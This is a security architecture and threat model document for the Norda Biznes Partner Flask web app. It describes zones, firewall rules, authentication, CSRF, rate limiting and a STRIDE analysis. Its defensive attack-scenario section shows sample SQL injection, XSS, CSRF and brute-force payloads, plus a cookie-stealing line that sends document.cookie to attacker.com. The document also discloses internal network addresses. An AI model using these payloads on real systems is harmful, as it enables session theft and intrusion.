nordabiz/docs/architecture/09-security-architecture.md
Maciej Pienczyn cebe52f303 refactor: Rebranding i aktualizacja modelu AI
- Zmiana nazwy: "Norda Biznes Hub" → "Norda Biznes Partner"
- Aktualizacja modelu AI: Gemini 2.0 Flash → Gemini 3 Flash
- Zachowano historyczne odniesienia w timeline i dokumentacji

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
2026-01-29 14:08:39 +01:00

59 KiB

Security Architecture

Document Version: 1.0 Last Updated: 2026-01-10 Status: Production LIVE Diagram Type: Security Architecture / Threat Model


Overview

This document provides a comprehensive security architecture for the Norda Biznes Partner application, covering:

  • Security Zones and trust boundaries
  • Authentication & Authorization mechanisms
  • Security Controls (CSRF, rate limiting, input validation, etc.)
  • Threat Model and attack surface analysis
  • Data Security (encryption, sensitive data handling)
  • API Security (external API integrations, API key management)
  • Infrastructure Security (network, firewall, SSH access)
  • Security Monitoring and incident response
  • Security Best Practices and compliance

Abstraction Level: Security Architecture Audience: Security Engineers, DevOps, Developers, System Administrators Purpose: Understanding security boundaries, threat model, security controls, compliance verification

Related Documentation:


Table of Contents

  1. Security Zones & Trust Boundaries
  2. Authentication Architecture
  3. Authorization Model
  4. Security Controls
  5. Threat Model & Attack Surface
  6. Data Security
  7. API Security
  8. Infrastructure Security
  9. Security Monitoring
  10. Incident Response
  11. Compliance & Best Practices
  12. Security Roadmap

1. Security Zones & Trust Boundaries

1.1 Security Zones Diagram

graph TB
    subgraph "Zone 0: Public Internet (UNTRUSTED)"
        Internet["🌐 Public Internet<br/><br/>Trust Level: NONE<br/>Access: Anonymous users<br/>Threat Level: HIGH<br/><br/>Threats:<br/>• DDoS attacks<br/>• SQL injection<br/>• XSS attacks<br/>• CSRF attacks<br/>• Brute force<br/>• Bot traffic"]
    end

    subgraph "Zone 1: Network Perimeter (SECURITY BOUNDARY)"
        Fortigate["🛡️ FORTIGATE FIREWALL<br/><br/>Trust Level: BOUNDARY<br/>Controls:<br/>• NAT (85.237.177.83 → 10.22.68.250)<br/>• Port filtering (443, 80, 22)<br/>• Stateful inspection<br/>• DDoS protection<br/>• Intrusion prevention<br/><br/>Default Policy: DENY ALL"]
    end

    subgraph "Zone 2: DMZ - Reverse Proxy (SEMI-TRUSTED)"
        DMZ["🖥️ NPM REVERSE PROXY<br/>IP: 10.22.68.250<br/><br/>Trust Level: LOW<br/>Controls:<br/>• SSL/TLS termination<br/>• HTTP → HTTPS redirect<br/>• Let's Encrypt certificates<br/>• Request filtering (block exploits)<br/>• WebSocket upgrade control<br/>• HSTS enforcement<br/><br/>Exposed Ports: 443, 80, 81 (admin)<br/>Allowed Outbound: App Zone only"]
    end

    subgraph "Zone 3: Application Zone (TRUSTED)"
        AppZone["🖥️ APPLICATION SERVER<br/>IP: 10.22.68.249<br/><br/>Trust Level: MEDIUM<br/>Controls:<br/>• Flask-Login authentication<br/>• CSRF protection (Flask-WTF)<br/>• Rate limiting (Flask-Limiter)<br/>• Input sanitization<br/>• XSS prevention<br/>• SQL injection prevention (SQLAlchemy ORM)<br/>• Session security (secure cookies)<br/><br/>Exposed Ports: 5000 (internal), 22 (SSH)<br/>Allowed Outbound: Internet (APIs), Data Zone"]
    end

    subgraph "Zone 4: Data Zone (HIGHLY TRUSTED)"
        DataZone["🗄️ DATABASE SERVER<br/>IP: 10.22.68.249:5432<br/><br/>Trust Level: HIGH<br/>Controls:<br/>• PostgreSQL authentication<br/>• Localhost-only binding (127.0.0.1)<br/>• Role-based access control<br/>• Connection encryption (SSL/TLS)<br/>• pg_hba.conf restrictions<br/>• Database user separation<br/><br/>Exposed Ports: 5432 (localhost only)<br/>Allowed Connections: Application Zone only"]
    end

    subgraph "Zone 5: External APIs (THIRD-PARTY)"
        APIs["☁️ EXTERNAL APIs<br/><br/>Trust Level: THIRD-PARTY<br/>Services:<br/>• Google Gemini AI<br/>• Google PageSpeed Insights<br/>• Google Places API<br/>• Microsoft Graph API<br/>• Brave Search API<br/>• KRS Open API<br/><br/>Controls:<br/>• API key authentication<br/>• OAuth 2.0 (MS Graph)<br/>• HTTPS/TLS 1.2+ only<br/>• Rate limiting (client-side)<br/>• API key rotation<br/>• Cost tracking"]
    end

    Internet -->|"HTTPS :443<br/>HTTP :80"| Fortigate
    Fortigate -->|"NAT + Filter<br/>Allow: 443, 80"| DMZ
    DMZ -->|"HTTP :5000<br/>(internal network)"| AppZone
    AppZone -->|"PostgreSQL :5432<br/>(localhost)"| DataZone
    AppZone -->|"HTTPS<br/>(API requests)"| APIs

    style Internet fill:#ff6b6b,color:#fff
    style Fortigate fill:#f59e0b,color:#fff
    style DMZ fill:#fbbf24,color:#000
    style AppZone fill:#10b981,color:#fff
    style DataZone fill:#3b82f6,color:#fff
    style APIs fill:#8b5cf6,color:#fff

1.2 Trust Boundaries

Boundary Between Zones Security Controls Threat Mitigation
External → Perimeter Internet → Fortigate NAT, port filtering, stateful firewall DDoS, port scanning, unauthorized access
Perimeter → DMZ Fortigate → NPM Port restrictions (443, 80), SSL enforcement Man-in-the-middle, protocol attacks
DMZ → Application NPM → Flask Internal network isolation, port 5000 only Lateral movement, privilege escalation
Application → Data Flask → PostgreSQL Localhost-only binding, role-based access SQL injection, unauthorized data access
Application → Internet Flask → External APIs HTTPS/TLS, API key authentication, rate limiting API key theft, cost overrun, data leakage

1.3 Network Segmentation

Physical Segmentation:

  • 10.22.68.0/24 - Internal INPI network (RFC 1918 private addressing)
  • 85.237.177.83 - Public IP (NAT at Fortigate)

Logical Segmentation:

  • DMZ: 10.22.68.250 (reverse proxy only)
  • Application: 10.22.68.249 (Flask app, no direct Internet access for incoming)
  • Data: 10.22.68.249:5432 (localhost binding, no network exposure)

Firewall Rules (Fortigate):

# Inbound (WAN → LAN)
allow tcp/443 from ANY to 10.22.68.250  # HTTPS to NPM
allow tcp/80 from ANY to 10.22.68.250   # HTTP to NPM (redirects to HTTPS)
allow tcp/22 from ADMIN_NET to 10.22.68.249  # SSH (admin only)
deny all from ANY to ANY                # Default deny

# Outbound (LAN → WAN)
allow tcp/443 from 10.22.68.249 to ANY  # API calls (HTTPS)
allow tcp/80 from 10.22.68.249 to ANY   # HTTP (rare, redirects)
deny all from 10.22.68.250 to ANY       # NPM cannot initiate outbound (except Let's Encrypt)

1.4 Attack Surface

External Attack Surface (Internet-facing):

  • NPM reverse proxy (10.22.68.250:443, :80)
  • Public endpoints: /, /search, /company/<slug>, /audit/*
  • Authentication endpoints: /register, /login, /forgot-password

Internal Attack Surface (Authenticated users):

  • User dashboard: /dashboard, /chat, /forum/*, /wiadomosci/*
  • API endpoints: /api/chat/*, /api/notifications/*

Admin Attack Surface (Admin users only):

  • Admin panels: /admin/* (15+ panels)
  • Audit management: /api/seo/audit, /api/gbp/audit, /api/social/audit

Reduced Attack Surface:

  • PostgreSQL: Localhost-only binding (no network exposure)
  • SSH: Restricted to admin network (firewall rule)
  • NPM Admin UI: Port 81 (internal network only)

2. Authentication Architecture

2.1 Authentication Overview

Framework: Flask-Login Password Hashing: PBKDF2:SHA256 (werkzeug.security) Session Storage: Server-side session cookies Email Verification: Required before login Email Delivery: Microsoft Graph API (OAuth 2.0)

NOTE: For detailed authentication flows (registration, login, email verification, password reset, session management), see: Authentication Flow Documentation

2.2 Authentication Security Architecture

graph TB
    subgraph "Authentication Layer"
        User["👤 User"]
        Browser["🌐 Browser"]

        subgraph "Flask Authentication Stack"
            FlaskLogin["Flask-Login<br/>(Session Management)"]
            CSRF["Flask-WTF<br/>(CSRF Protection)"]
            RateLimit["Flask-Limiter<br/>(Rate Limiting)"]
            Sanitize["Input Sanitization<br/>(XSS Prevention)"]
        end

        subgraph "User Model & Database"
            UserModel["User Model<br/>(SQLAlchemy)"]
            PostgreSQL["PostgreSQL<br/>(users table)"]
        end

        subgraph "Password Security"
            Hash["Password Hashing<br/>(PBKDF2:SHA256)"]
            TokenGen["Token Generation<br/>(secrets.token_urlsafe)"]
        end

        subgraph "Email Verification"
            EmailService["Email Service<br/>(email_service.py)"]
            MSGraph["Microsoft Graph API<br/>(OAuth 2.0)"]
        end
    end

    User -->|"Login Request"| Browser
    Browser -->|"POST /login"| CSRF
    CSRF -->|"CSRF Valid"| RateLimit
    RateLimit -->|"Rate OK"| Sanitize
    Sanitize -->|"Sanitized Input"| FlaskLogin
    FlaskLogin -->|"Query User"| UserModel
    UserModel -->|"SELECT * FROM users"| PostgreSQL
    PostgreSQL -->|"User Data"| Hash
    Hash -->|"check_password_hash()"| FlaskLogin
    FlaskLogin -->|"login_user()"| Browser

    Browser -->|"POST /register"| TokenGen
    TokenGen -->|"Generate Token"| PostgreSQL
    PostgreSQL -->|"User Created"| EmailService
    EmailService -->|"Send Email (OAuth)"| MSGraph

    style CSRF fill:#f59e0b,color:#fff
    style RateLimit fill:#f59e0b,color:#fff
    style Sanitize fill:#f59e0b,color:#fff
    style Hash fill:#3b82f6,color:#fff
    style TokenGen fill:#3b82f6,color:#fff

2.3 Session Security

Session Configuration:

# app.py session settings
app.config['SECRET_KEY'] = os.getenv('SECRET_KEY')  # 256-bit secret
app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(days=7)
app.config['SESSION_COOKIE_SECURE'] = True  # HTTPS only
app.config['SESSION_COOKIE_HTTPONLY'] = True  # No JS access
app.config['SESSION_COOKIE_SAMESITE'] = 'Lax'  # CSRF protection

Session Cookie Attributes:

  • Name: session (Flask default)
  • Secure: True (HTTPS only in production)
  • HttpOnly: True (prevents XSS cookie theft)
  • SameSite: Lax (CSRF protection)
  • Max-Age: 7 days (with "remember me")
  • Signed: Yes (HMAC with SECRET_KEY)
  • Encrypted: Yes (Flask built-in)

Session Lifecycle:

  1. Creation: On successful login (login_user())
  2. Validation: On every request (@login_required)
  3. Regeneration: On login (prevents session fixation)
  4. Expiration: After 7 days or on logout
  5. Destruction: On logout (logout_user())

Session Security Features:

  • Session fixation prevention (regenerate session ID on login)
  • CSRF protection via Flask-WTF (automatic token generation)
  • Secure cookie attributes (HttpOnly, Secure, SameSite)
  • Server-side session storage (encrypted data)
  • Automatic session cleanup (expired sessions removed)

2.4 Password Security

Password Requirements:

  • Minimum 8 characters
  • At least 1 uppercase letter
  • At least 1 lowercase letter
  • At least 1 digit

Password Hashing:

  • Algorithm: PBKDF2:SHA256 (werkzeug.security default)
  • Iterations: 600,000+ (werkzeug 3.0+ default)
  • Salt: Automatic (random salt per password)
  • Hash Storage: users.password_hash column (VARCHAR 255)

Password Reset Flow:

  • Reset tokens: 256-bit entropy (secrets.token_urlsafe(32))
  • Token expiry: 1 hour
  • Single-use tokens (cleared after successful reset)
  • Email enumeration prevention (always show success message)

Password Best Practices:

  • Strong hashing algorithm (PBKDF2:SHA256)
  • Password complexity requirements
  • Secure token generation
  • Token expiry enforcement
  • Password history (not implemented)
  • Account lockout after N failed attempts (not implemented)

3. Authorization Model

3.1 Role-Based Access Control (RBAC)

graph TB
    subgraph "Authorization Hierarchy"
        Public["🌐 Public<br/>Anonymous Users<br/><br/>Permissions:<br/>• View company directory<br/>• Search companies<br/>• View audit reports<br/>• Access registration/login"]

        Auth["🔐 Authenticated<br/>Logged-in Users<br/><br/>Permissions:<br/>• All Public permissions<br/>• Access dashboard<br/>• Use AI chat<br/>• Participate in forum<br/>• Send/receive messages<br/>• RSVP to events<br/>• Post classifieds"]

        Member["👔 NORDA Members<br/>is_norda_member=TRUE<br/><br/>Permissions:<br/>• All Authenticated permissions<br/>• Company profile editing (own)<br/>• Request recommendations<br/>• View member directory<br/>• Access member-only content"]

        Admin["👨‍💼 Administrators<br/>is_admin=TRUE<br/><br/>Permissions:<br/>• All Member permissions<br/>• Manage all companies<br/>• Moderate forum/news<br/>• Manage users<br/>• Run audit scans<br/>• View analytics<br/>• Generate fees<br/>• System configuration"]
    end

    Public --> Auth
    Auth --> Member
    Member --> Admin

    style Public fill:#9ca3af,color:#fff
    style Auth fill:#10b981,color:#fff
    style Member fill:#3b82f6,color:#fff
    style Admin fill:#8b5cf6,color:#fff

3.2 User Roles & Flags

User Model Fields:

is_active BOOLEAN DEFAULT TRUE        -- User account status
is_verified BOOLEAN DEFAULT FALSE     -- Email verification status
is_admin BOOLEAN DEFAULT FALSE        -- Administrator flag
is_norda_member BOOLEAN DEFAULT FALSE -- NORDA Biznes membership

Role Determination Logic:

# Public access - no check required

# Authenticated access
@login_required
def protected_route():
    # current_user is automatically available via Flask-Login
    pass

# NORDA Member access
@login_required
def member_route():
    if not current_user.is_norda_member:
        flash('Tylko dla członków NORDA Biznes.', 'error')
        return redirect(url_for('index'))
    pass

# Admin access
@login_required
def admin_route():
    if not current_user.is_admin:
        flash('Brak uprawnień administratora.', 'error')
        return redirect(url_for('index'))
    pass

3.3 Access Control Matrix

Route Category Public Authenticated NORDA Member Admin
Public Pages
/ (Company directory)
/search
/company/<slug>
/audit/*/<slug> (SEO, Social, GBP, IT)
/api/companies (JSON export)
/health (Health check)
Authentication
/register, /login
/logout
/verify-email/<token>
/forgot-password, /reset-password/<token>
User Features
/dashboard
/chat
/api/chat/*
Community Features
/forum/*
/wiadomosci/* (Messages)
/kalendarz/* (Events)
/tablica/* (Classifieds)
Admin Panels
/admin/* (All admin routes)
/admin/users (User management)
/admin/fees (Fee management)
/admin/forum (Forum moderation)
/admin/seo (SEO dashboard)
/admin/gbp-audit (GBP dashboard)
/admin/social-media (Social dashboard)
/admin/it-audit (IT dashboard)
Admin API Endpoints
/api/seo/audit (POST)
/api/gbp/audit (POST)
/api/social/audit (POST)
/api/notifications (GET)
/api/notifications/<id>/read (PUT)

Legend:

  • Access granted
  • Access denied (redirect to login or show error)

3.4 Authorization Enforcement

Decorator-based Protection:

# Flask-Login decorator for authenticated routes
@app.route('/dashboard')
@login_required
def dashboard():
    # current_user is guaranteed to be authenticated
    return render_template('dashboard.html', user=current_user)

Manual Authorization Checks:

# Admin-only check
@app.route('/admin/users')
@login_required
def admin_users():
    if not current_user.is_admin:
        flash('Brak uprawnień administratora.', 'error')
        return redirect(url_for('index'))

    # Admin logic here
    users = db.query(User).all()
    return render_template('admin/users.html', users=users)

Row-Level Security (Planned):

  • Company owners can edit only their own company profile
  • Forum authors can edit/delete only their own posts
  • Message senders/receivers can view only their own messages

Current Limitations:

  • No granular permissions (e.g., "can_edit_company", "can_moderate_forum")
  • No role hierarchy (custom roles beyond Admin/Member)
  • No permission delegation (temporary admin access)

4. Security Controls

4.1 Security Controls Overview

graph LR
    subgraph "Input Security"
        Input["User Input"]
        Sanitize["Input Sanitization<br/>(sanitize_input)"]
        Validate["Input Validation<br/>(length, format, type)"]
    end

    subgraph "Request Security"
        CSRF["CSRF Protection<br/>(Flask-WTF)"]
        RateLimit["Rate Limiting<br/>(Flask-Limiter)"]
        Auth["Authentication<br/>(Flask-Login)"]
    end

    subgraph "Response Security"
        XSS["XSS Prevention<br/>(Jinja2 auto-escape)"]
        Headers["Security Headers<br/>(HSTS, CSP, X-Frame)"]
        SSL["SSL/TLS Encryption<br/>(HTTPS)"]
    end

    subgraph "Data Security"
        SQLInj["SQL Injection Prevention<br/>(SQLAlchemy ORM)"]
        PassHash["Password Hashing<br/>(PBKDF2:SHA256)"]
        Secrets["Secrets Management<br/>(.env files)"]
    end

    Input --> Sanitize
    Sanitize --> Validate
    Validate --> CSRF
    CSRF --> RateLimit
    RateLimit --> Auth
    Auth --> XSS
    XSS --> Headers
    Headers --> SSL

    Auth --> SQLInj
    SQLInj --> PassHash
    PassHash --> Secrets

    style Sanitize fill:#f59e0b,color:#fff
    style CSRF fill:#f59e0b,color:#fff
    style RateLimit fill:#f59e0b,color:#fff
    style XSS fill:#f59e0b,color:#fff
    style SQLInj fill:#3b82f6,color:#fff
    style PassHash fill:#3b82f6,color:#fff

4.2 Input Security

4.2.1 Input Sanitization

Function: sanitize_input(text, max_length=1000) Purpose: Remove HTML tags, malicious patterns, excessive whitespace Implementation: app.py (lines ~300-320)

def sanitize_input(text, max_length=1000):
    """Remove HTML tags and malicious patterns from user input"""
    if not text:
        return ""

    # Remove HTML tags
    text = re.sub(r'<[^>]+>', '', text)

    # Remove script tags and content
    text = re.sub(r'<script[^>]*>.*?</script>', '', text, flags=re.IGNORECASE | re.DOTALL)

    # Remove event handlers (onclick, onerror, etc.)
    text = re.sub(r'\s*on\w+\s*=\s*["\'][^"\']*["\']', '', text, flags=re.IGNORECASE)

    # Remove javascript: URLs
    text = re.sub(r'javascript:', '', text, flags=re.IGNORECASE)

    # Normalize whitespace
    text = ' '.join(text.split())

    # Truncate to max length
    return text[:max_length]

Applied to:

  • All form inputs (registration, login, forum posts, messages, classifieds)
  • Search queries
  • Chat messages
  • Admin inputs

XSS Prevention:

  • Jinja2 automatic escaping (enabled by default)
  • Manual escaping for user-generated content: {{ user_input|e }}
  • Sanitization before database storage (defense in depth)

4.2.2 Input Validation

Email Validation:

def validate_email(email):
    """Validate email format"""
    pattern = r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$'
    return re.match(pattern, email) is not None

Password Validation:

def validate_password(password):
    """Validate password complexity"""
    if len(password) < 8:
        return False, "Hasło musi mieć minimum 8 znaków"

    if not re.search(r'[A-Z]', password):
        return False, "Hasło musi zawierać wielką literę"

    if not re.search(r'[a-z]', password):
        return False, "Hasło musi zawierać małą literę"

    if not re.search(r'\d', password):
        return False, "Hasło musi zawierać cyfrę"

    return True, ""

NIP Validation:

def validate_nip(nip):
    """Validate Polish NIP format (10 digits)"""
    if not nip:
        return False

    nip = nip.replace('-', '').replace(' ', '')
    return len(nip) == 10 and nip.isdigit()

Input Length Limits:

  • Email: 255 characters
  • Password: 255 characters (hash stored)
  • Name: 255 characters
  • Phone: 50 characters
  • Message body: 5,000 characters
  • Forum post: 10,000 characters
  • Chat message: 1,000 characters

4.3 Request Security

4.3.1 CSRF Protection

Framework: Flask-WTF Implementation: Automatic CSRF token generation and validation

Configuration:

# app.py CSRF setup
from flask_wtf.csrf import CSRFProtect

csrf = CSRFProtect(app)
app.config['WTF_CSRF_ENABLED'] = True
app.config['WTF_CSRF_TIME_LIMIT'] = None  # No time limit (session-based)

Usage in Templates:

<form method="POST">
    {{ csrf_token() }}  <!-- Automatic token injection -->
    <input type="email" name="email" required>
    <button type="submit">Submit</button>
</form>

AJAX Requests:

// Get CSRF token from meta tag
const csrfToken = document.querySelector('meta[name="csrf-token"]').content;

// Include in AJAX request headers
fetch('/api/endpoint', {
    method: 'POST',
    headers: {
        'X-CSRFToken': csrfToken,
        'Content-Type': 'application/json'
    },
    body: JSON.stringify(data)
});

CSRF Protection Coverage:

  • All POST/PUT/DELETE requests
  • Form submissions
  • AJAX API calls
  • GET requests (idempotent, no CSRF protection needed)

4.3.2 Rate Limiting

Framework: Flask-Limiter Strategy: IP-based rate limiting

Configuration:

# app.py rate limiting setup
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address

limiter = Limiter(
    app=app,
    key_func=get_remote_address,
    default_limits=["200 per day", "50 per hour"],
    storage_uri="memory://"  # In-memory storage (single server)
)

Rate Limits by Endpoint:

Endpoint Rate Limit Purpose
/register 5 per hour Prevent account spam
/login 5 per hour (prod)
1000 per hour (dev)
Prevent brute force
/forgot-password 5 per hour Prevent email spam
/api/chat/<id>/message 30 per minute Prevent chat spam
/api/seo/audit 10 per hour Prevent quota abuse
/api/gbp/audit 10 per hour Prevent quota abuse
/api/social/audit 10 per hour Prevent quota abuse
Default 200 per day, 50 per hour General protection

Rate Limit Bypass:

  • No bypass mechanism (applies to all users, including admins)
  • Future improvement: Whitelist admin IPs

Error Handling:

@app.errorhandler(429)
def ratelimit_handler(e):
    flash('Zbyt wiele żądań. Spróbuj ponownie później.', 'error')
    return render_template('error.html', error=e), 429

4.4 Response Security

4.4.1 Security Headers

HTTP Security Headers (Configured in NPM):

# HSTS (HTTP Strict Transport Security)
Strict-Transport-Security: max-age=31536000; includeSubDomains

# Prevent clickjacking
X-Frame-Options: SAMEORIGIN

# XSS Protection (legacy browsers)
X-XSS-Protection: 1; mode=block

# Content-Type sniffing prevention
X-Content-Type-Options: nosniff

# Referrer Policy
Referrer-Policy: strict-origin-when-cross-origin

# Content Security Policy (CSP) - PLANNED
# Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline';

Current Status:

  • HSTS enabled (NPM configuration)
  • X-Frame-Options: SAMEORIGIN
  • X-Content-Type-Options: nosniff
  • Content-Security-Policy (not yet implemented - requires frontend refactoring)

4.4.2 SSL/TLS Encryption

Configuration:

  • Certificate Provider: Let's Encrypt (free, auto-renewal)
  • Certificate Type: RSA 2048-bit
  • TLS Protocols: TLS 1.2, TLS 1.3 only
  • HTTP → HTTPS Redirect: Enforced at NPM
  • HSTS: Enabled (max-age=31536000)

Cipher Suites (Modern):

TLS_AES_128_GCM_SHA256
TLS_AES_256_GCM_SHA384
TLS_CHACHA20_POLY1305_SHA256
ECDHE-RSA-AES128-GCM-SHA256
ECDHE-RSA-AES256-GCM-SHA384

SSL Termination: At NPM reverse proxy (10.22.68.250) Internal Communication: HTTP (10.22.68.250 → 10.22.68.249:5000)

Certificate Renewal:

  • Automatic via NPM + Let's Encrypt
  • Renewal frequency: Every 90 days
  • Grace period: 30 days before expiry

4.5 Data Security

4.5.1 SQL Injection Prevention

ORM Usage: SQLAlchemy (parameterized queries)

Safe Query Patterns:

# ✅ SAFE: Parameterized query (SQLAlchemy ORM)
user = db.query(User).filter(User.email == email).first()

# ✅ SAFE: Parameterized raw SQL
db.execute(text("SELECT * FROM users WHERE email = :email"), {"email": email})

# ❌ UNSAFE: String concatenation (NEVER USE)
# db.execute(f"SELECT * FROM users WHERE email = '{email}'")

Full-Text Search (PostgreSQL):

# ✅ SAFE: FTS with plainto_tsquery (auto-escaping)
query = text("""
    SELECT c.*, ts_rank(c.search_vector, plainto_tsquery('english', :query)) AS rank
    FROM companies c
    WHERE c.search_vector @@ plainto_tsquery('english', :query)
    ORDER BY rank DESC
""")
results = db.execute(query, {"query": search_term}).fetchall()

No Raw SQL Concatenation:

  • All queries use parameterized placeholders (:param_name)
  • SQLAlchemy ORM handles escaping automatically
  • Full-text search uses plainto_tsquery() (auto-escapes special characters)

4.5.2 Password Storage

Hashing Algorithm: PBKDF2:SHA256 Library: werkzeug.security Iterations: 600,000+ (werkzeug 3.0+ default) Salt: Automatic random salt per password

Implementation:

from werkzeug.security import generate_password_hash, check_password_hash

# Registration: Hash password
password_hash = generate_password_hash(password)  # Auto-salted

# Login: Verify password
if check_password_hash(user.password_hash, password):
    # Password correct
    login_user(user)

Hash Format:

pbkdf2:sha256:600000$<salt>$<hash>

Security Properties:

  • Salted (prevents rainbow table attacks)
  • Slow hashing (prevents brute force)
  • Industry-standard algorithm (PBKDF2)
  • Automatic algorithm upgrades (werkzeug handles)

4.5.3 Secrets Management

Environment Variables (.env):

# Database
DATABASE_URL=postgresql://nordabiz_app:PASSWORD@127.0.0.1:5432/nordabiz

# Flask
SECRET_KEY=<256-bit-random-key>

# API Keys
GOOGLE_GEMINI_API_KEY=<key>
GOOGLE_PAGESPEED_API_KEY=<key>
BRAVE_SEARCH_API_KEY=<key>

# Microsoft Graph OAuth
MS_CLIENT_ID=<client-id>
MS_CLIENT_SECRET=<client-secret>
MS_TENANT_ID=<tenant-id>

# Email
SMTP_HOST=smtp.office365.com
SMTP_PORT=587
SMTP_USER=noreply@nordabiznes.pl
SMTP_PASSWORD=<password>

Secrets Storage:

  • Development: .env file (gitignored)
  • Production: .env file on server (owned by www-data, mode 600)
  • Never committed to Git: .env in .gitignore

Secret Rotation:

  • No automatic rotation (manual process)
  • No secret versioning (future improvement)

Access Control:

# Production secrets file permissions
-rw------- 1 www-data www-data  .env  # Mode 600 (owner read/write only)

5. Threat Model & Attack Surface

5.1 Threat Model (STRIDE)

Threat Type Attack Vector Impact Mitigation Status
Spoofing User impersonation, session hijacking High HTTPS, secure cookies, session regeneration Mitigated
Tampering SQL injection, XSS, CSRF High SQLAlchemy ORM, input sanitization, CSRF tokens Mitigated
Repudiation User denies actions Medium Database audit logs (created_at, updated_at) ⚠️ Partial
Information Disclosure API key theft, database breach, session theft High HTTPS, .env files, localhost DB binding Mitigated
Denial of Service DDoS, resource exhaustion, API quota abuse Medium Rate limiting, Fortigate DDoS protection ⚠️ Partial
Elevation of Privilege Admin privilege escalation High Role-based access control, admin flag validation Mitigated

5.2 Attack Surface Analysis

5.2.1 External Attack Surface (Internet-facing)

NPM Reverse Proxy (10.22.68.250:443, :80):

  • Exposed Services: HTTPS (443), HTTP (80, redirects to HTTPS)
  • Attack Vectors:
    • DDoS attacks (mitigated by Fortigate)
    • SSL/TLS vulnerabilities (mitigated by modern cipher suites)
    • HTTP request smuggling (mitigated by NPM validation)
  • Mitigation:
    • Fortigate stateful firewall + DDoS protection
    • Let's Encrypt TLS 1.2/1.3 only
    • NPM request filtering ("block exploits" enabled)

Public Endpoints:

  • / (Company directory)
  • /search (Search functionality)
  • /company/<slug> (Company profiles)
  • /audit/*/<slug> (SEO, Social, GBP, IT audit reports)
  • /register, /login, /forgot-password (Authentication)

Attack Vectors:

  • SQL injection: Mitigated (SQLAlchemy ORM)
  • XSS: Mitigated (input sanitization, Jinja2 auto-escape)
  • CSRF: Mitigated (Flask-WTF)
  • Brute force: Mitigated (rate limiting 5/hour)
  • Account enumeration: Partially mitigated (generic error messages)

5.2.2 Internal Attack Surface (Authenticated Users)

User Dashboard & Features:

  • /dashboard, /chat, /forum/*, /wiadomosci/*, /kalendarz/*, /tablica/*

Attack Vectors:

  • Privilege escalation: Mitigated (admin flag validation)
  • IDOR (Insecure Direct Object Reference): Partially mitigated (owner checks needed)
  • Session hijacking: Mitigated (secure cookies, HTTPS)

Vulnerabilities:

  • No row-level security (users can view other users' messages if they know the ID)
  • No rate limiting on message sending
  • No spam detection on forum posts

5.2.3 Admin Attack Surface (Admin Users)

Admin Panels:

  • /admin/* (15+ admin panels)
  • /api/seo/audit, /api/gbp/audit, /api/social/audit (POST)

Attack Vectors:

  • Admin account compromise: Mitigated (strong password requirements)
  • API quota abuse: Mitigated (rate limiting 10/hour)
  • Cost overrun: Mitigated (client-side cost tracking, free tier monitoring)

Vulnerabilities:

  • No 2FA for admin accounts
  • No admin activity logging
  • No admin session timeout (7-day session)

5.2.4 Database Attack Surface

PostgreSQL (10.22.68.249:5432):

  • Binding: Localhost only (127.0.0.1)
  • Authentication: Password-based (pg_hba.conf)
  • Encryption: SSL/TLS for connections (planned)

Attack Vectors:

  • SQL injection: Mitigated (SQLAlchemy ORM)
  • Unauthorized access: Mitigated (localhost binding, password auth)
  • Data breach: Partially mitigated (no database encryption at rest)

Vulnerabilities:

  • No database encryption at rest
  • No database activity auditing
  • No automated backup verification

5.2.5 API Attack Surface (External APIs)

Outbound API Calls:

  • Google Gemini AI, PageSpeed Insights, Places API
  • Microsoft Graph API
  • Brave Search API
  • KRS Open API

Attack Vectors:

  • API key theft: Mitigated (.env files, HTTPS only)
  • Man-in-the-middle: Mitigated (HTTPS/TLS 1.2+)
  • API quota abuse: Mitigated (rate limiting, cost tracking)

Vulnerabilities:

  • API keys stored in plaintext (.env files)
  • No API key rotation policy
  • No secrets vault (e.g., HashiCorp Vault)

5.3 Common Attack Scenarios

5.3.1 SQL Injection Attack

Attack:

# Attacker input: email = "admin' OR '1'='1"
# UNSAFE query (NOT USED in our app):
# query = f"SELECT * FROM users WHERE email = '{email}'"
# Result: Returns all users (authentication bypass)

Defense:

# ✅ SAFE: SQLAlchemy parameterized query
user = db.query(User).filter(User.email == email).first()
# SQLAlchemy escapes special characters automatically

Status: Mitigated (no raw SQL concatenation)

5.3.2 XSS Attack

Attack:

<!-- Attacker input: forum post = "<script>alert(document.cookie)</script>" -->
<!-- UNSAFE rendering (NOT USED in our app): -->
<!-- {{ user_post }} (unescaped) -->
<!-- Result: Executes JavaScript, steals cookies -->

Defense:

# Input sanitization (before storage)
sanitized_post = sanitize_input(user_post)  # Strips <script> tags

# Jinja2 auto-escaping (at rendering)
{{ user_post }}  # Automatically escapes HTML entities

Status: Mitigated (sanitization + auto-escaping)

5.3.3 CSRF Attack

Attack:

<!-- Attacker's malicious website -->
<form action="https://nordabiznes.pl/admin/users/5/delete" method="POST">
    <input type="submit" value="Click for prize!">
</form>
<!-- When admin clicks, their session cookie is sent, deleting user #5 -->

Defense:

# Flask-WTF CSRF protection (automatic)
# All POST requests require valid CSRF token
@app.route('/admin/users/<id>/delete', methods=['POST'])
@login_required
def delete_user(id):
    # CSRF token is validated before this code runs
    if not current_user.is_admin:
        abort(403)

    # Delete user logic
    pass

Status: Mitigated (Flask-WTF CSRF tokens)

5.3.4 Brute Force Attack

Attack:

# Attacker script: Try 10,000 passwords for admin@nordabiznes.pl
for password in password_list:
    response = requests.post('https://nordabiznes.pl/login', data={
        'email': 'admin@nordabiznes.pl',
        'password': password
    })

Defense:

# Rate limiting: 5 login attempts per hour
@app.route('/login', methods=['POST'])
@limiter.limit("5 per hour")
def login():
    # Login logic
    pass

Status: Mitigated (rate limiting)

Additional Defenses (Future):

  • Account lockout after N failed attempts
  • CAPTCHA on login form
  • 2FA for admin accounts

5.3.5 Session Hijacking

Attack:

// Attacker's XSS payload (if XSS exists)
document.location = 'https://attacker.com/steal?cookie=' + document.cookie;

Defense:

# Session cookie security flags
app.config['SESSION_COOKIE_HTTPONLY'] = True  # No JS access to cookies
app.config['SESSION_COOKIE_SECURE'] = True    # HTTPS only
app.config['SESSION_COOKIE_SAMESITE'] = 'Lax' # CSRF protection

Status: Mitigated (secure cookies + HTTPS)


6. Data Security

6.1 Data Classification

Data Category Sensitivity Storage Protection
Public Company Data Public PostgreSQL None (publicly accessible)
